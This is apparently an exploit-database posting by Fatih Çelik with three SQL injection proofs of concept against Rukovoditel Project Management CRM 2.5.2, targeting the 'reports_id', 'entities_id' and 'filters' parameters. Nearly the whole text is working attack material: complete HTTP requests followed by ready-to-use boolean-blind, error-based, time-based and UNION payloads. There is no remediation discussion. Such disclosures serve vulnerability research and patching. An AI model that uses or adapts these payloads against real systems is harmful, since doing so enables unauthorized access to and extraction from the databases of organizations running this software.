Rukovoditel Project Management CRM 2.5.2 SQL Injection

`# Exploit Title: Rukovoditel Project Management CRM 2.5.2 - 'reports_id' SQL Injection  
# Google Dork: N/A  
# Date: 2020-01-15  
# Blog: https://fatihhcelik.blogspot.com/  
# Exploit Author: Fatih Çelik  
# Vendor Homepage: https://www.rukovoditel.net/  
# Software Link: https://sourceforge.net/projects/rukovoditel/  
# Version: 2.5.2  
# Tested on: Kali Linux  
# CVE : N/A  
  
# Request,  
  
POST /ruko/index.php?module=items/listing HTTP/1.1  
Host: 127.0.0.1  
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:68.0) Gecko/20100101 Firefox/68.0  
Accept: text/html, */*; q=0.01  
Accept-Language: en-US,en;q=0.5  
Accept-Encoding: gzip, deflate  
Referer: http://127.0.0.1/ruko/index.php?module=reports/view&reports_id=68%27  
Content-Type: application/x-www-form-urlencoded; charset=UTF-8  
X-Requested-With: XMLHttpRequest  
Content-Length: 330  
Connection: close  
Cookie: cookie_test=please_accept_for_session; sid=3jnq6vg6ovl2cq0ojpsff4vaol; hblid=9P5zBGVwXwPEgj9L3m39N0U0I0A6O221; olfsk=olfsk14190220759411198; xoadmstyle=silver  
  
redirect_to=report_68&path=23&reports_entities_id=23&reports_id=68&listing_container=entity_items_listing68_23&page=1&search_keywords=cvjm%C3%B6nb%C3%B6m%C3%B6nm&use_search_fields=184&search_in_comments=false&search_in_all=false&search_type_and=false&search_type_match=false&search_reset=&listing_order_fields=&has_with_selected=1  
  
# PAYLOADS,  
  
# Parameter: reports_id (POST)  
# Type: boolean-based blind  
# Title: MySQL RLIKE boolean-based blind - WHERE, HAVING, ORDER BY or GROUP BY clause  
  
Payload: redirect_to=report_68&path=23&reports_entities_id=23&reports_id=68' RLIKE (SELECT (CASE WHEN (9654=9654) THEN 68 ELSE 0x28 END))-- AlKt&listing_container=entity_items_listing68_23&page=1&search_keywords=cvjm%C3%B6nb%C3%B6m%C3%B6nm&use_search_fields=184&search_in_comments=false&search_in_all=false&search_type_and=false&search_type_match=false&search_reset=&listing_order_fields=&has_with_selected=1  
  
# Type: error-based  
# Title: MySQL >= 5.0 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (FLOOR)  
  
Payload: redirect_to=report_68&path=23&reports_entities_id=23&reports_id=68' AND (SELECT 8112 FROM(SELECT COUNT(*),CONCAT(0x716b706a71,(SELECT (ELT(8112=8112,1))),0x7162787871,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.PLUGINS GROUP BY x)a)-- rVyr&listing_container=entity_items_listing68_23&page=1&search_keywords=cvjm%C3%B6nb%C3%B6m%C3%B6nm&use_search_fields=184&search_in_comments=false&search_in_all=false&search_type_and=false&search_type_match=false&search_reset=&listing_order_fields=&has_with_selected=1  
  
# Type: time-based blind  
# Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)  
  
Payload: redirect_to=report_68&path=23&reports_entities_id=23&reports_id=68' AND (SELECT 4324 FROM (SELECT(SLEEP(5)))KySi)-- Pfwf&listing_container=entity_items_listing68_23&page=1&search_keywords=cvjm%C3%B6nb%C3%B6m%C3%B6nm&use_search_fields=184&search_in_comments=false&search_in_all=false&search_type_and=false&search_type_match=false&search_reset=&listing_order_fields=&has_with_selected=1  
  
  
  
# Exploit Title: Rukovoditel Project Management CRM 2.5.2 - 'entities_id' SQL Injection  
# Google Dork: N/A  
# Date: 2020-01-15  
# Blog: https://fatihhcelik.blogspot.com/  
# Exploit Author: Fatih Çelik  
# Vendor Homepage: https://www.rukovoditel.net/  
# Software Link: https://sourceforge.net/projects/rukovoditel/  
# Version: 2.5.2  
# Tested on: Kali Linux  
# CVE : N/A  
  
  
  
# Request,  
GET /ruko/index.php?module=entities/fields&entities_id=25 HTTP/1.1  
Host: 127.0.0.1  
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:68.0) Gecko/20100101 Firefox/68.0  
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8  
Accept-Language: en-US,en;q=0.5  
Accept-Encoding: gzip, deflate  
Referer: http://127.0.0.1/ruko/index.php?module=entities/fields&entities_id=25  
Connection: close  
Cookie: cookie_test=please_accept_for_session; sid=3jnq6vg6ovl2cq0ojpsff4vaol; hblid=9P5zBGVwXwPEgj9L3m39N0U0I0A6O221; olfsk=olfsk14190220759411198; xoadmstyle=silver  
Upgrade-Insecure-Requests: 1  
Cache-Control: max-age=0  
  
# PAYLOADS,  
  
# Parameter: entities_id (GET)  
# Type: boolean-based blind  
# Title: AND boolean-based blind - WHERE or HAVING clause  
  
Payload: module=entities/fields&entities_id=25' AND 2091=2091 AND 'emRY'='emRY  
  
# Type: error-based  
# Title: MySQL >= 5.0 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (FLOOR)  
  
Payload: module=entities/fields&entities_id=25' AND (SELECT 2023 FROM(SELECT COUNT(*),CONCAT(0x716b706a71,(SELECT (ELT(2023=2023,1))),0x7162787871,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.PLUGINS GROUP BY x)a) AND 'ZZpM'='ZZpM  
  
# Type: time-based blind  
# Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)  
  
Payload: module=entities/fields&entities_id=25' AND (SELECT 5681 FROM (SELECT(SLEEP(5)))rdOz) AND 'vWza'='vWza  
  
# Type: UNION query  
# Title: Generic UNION query (NULL) - 23 columns  
  
Payload: module=entities/fields&entities_id=25' UNION ALL SELECT NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,CONCAT(0x716b706a71,0x5a664143527068525459496254624c514e45694d42776a6d67614a68434c6762434f62514d4f4566,0x7162787871),NULL-- syQw  
  
  
  
  
# Exploit Title: Rukovoditel Project Management CRM 2.5.2 - 'filters' SQL Injection  
# Google Dork: N/A  
# Date: 2020-01-15  
# Blog: https://fatihhcelik.blogspot.com/  
# Exploit Author: Fatih Çelik  
# Vendor Homepage: https://www.rukovoditel.net/  
# Software Link: https://sourceforge.net/projects/rukovoditel/  
# Version: 2.5.2  
# Tested on: Kali Linux  
# CVE : N/A  
  
# Request,  
  
POST /ruko/index.php?module=tools/users_login_log&action=listing HTTP/1.1  
Host: 127.0.0.1  
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:68.0) Gecko/20100101 Firefox/68.0  
Accept: text/html, */*; q=0.01  
Accept-Language: en-US,en;q=0.5  
Accept-Encoding: gzip, deflate  
Referer: http://127.0.0.1/ruko/index.php?module=tools/users_login_log  
Content-Type: application/x-www-form-urlencoded; charset=UTF-8  
X-Requested-With: XMLHttpRequest  
Content-Length: 125  
Connection: close  
Cookie: cookie_test=please_accept_for_session; sid=3jnq6vg6ovl2cq0ojpsff4vaol; hblid=9P5zBGVwXwPEgj9L3m39N0U0I0A6O221; olfsk=olfsk14190220759411198; xoadmstyle=silver  
  
page=1&filters%5B0%5D%5Bname%5D=type&filters%5B0%5D%5Bvalue%5D=1&filters%5B1%5D%5Bname%5D=users_id&filters%5B1%5D%5Bvalue%5D=  
  
  
# PAYLOADS,  
  
# Parameter: filters[1][value] (POST)  
# Type: error-based  
# Title: MySQL >= 5.0 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (FLOOR)  
  
Payload: page=1&filters[0][name]=type&filters[0][value]=0&filters[1][name]=users_id&filters[1][value]=1' AND (SELECT 6543 FROM(SELECT COUNT(*),CONCAT(0x716b706a71,(SELECT (ELT(6543=6543,1))),0x7162787871,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.PLUGINS GROUP BY x)a)-- ApLW  
  
# Type: time-based blind  
# Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)  
  
Payload: page=1&filters[0][name]=type&filters[0][value]=0&filters[1][name]=users_id&filters[1][value]=1' AND (SELECT 1479 FROM (SELECT(SLEEP(5)))WpOr)-- kARm  
  
# Parameter: filters[0][value] (POST)  
# Type: boolean-based blind  
# Title: OR boolean-based blind - WHERE or HAVING clause (MySQL comment)  
  
Payload: page=1&filters[0][name]=type&filters[0][value]=-6686' OR 4511=4511#&filters[1][name]=users_id&filters[1][value]=1  
  
# Type: error-based  
# Title: MySQL >= 5.0 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (FLOOR)  
  
Payload: page=1&filters[0][name]=type&filters[0][value]=0' AND (SELECT 4167 FROM(SELECT COUNT(*),CONCAT(0x716b706a71,(SELECT (ELT(4167=4167,1))),0x7162787871,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.PLUGINS GROUP BY x)a)-- nQyo&filters[1][name]=users_id&filters[1][value]=1  
  
# Type: time-based blind  
# Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)  
  
Payload: page=1&filters[0][name]=type&filters[0][value]=0' AND (SELECT 6373 FROM (SELECT(SLEEP(5)))ytRS)-- QpIm&filters[1][name]=users_id&filters[1][value]=1  
`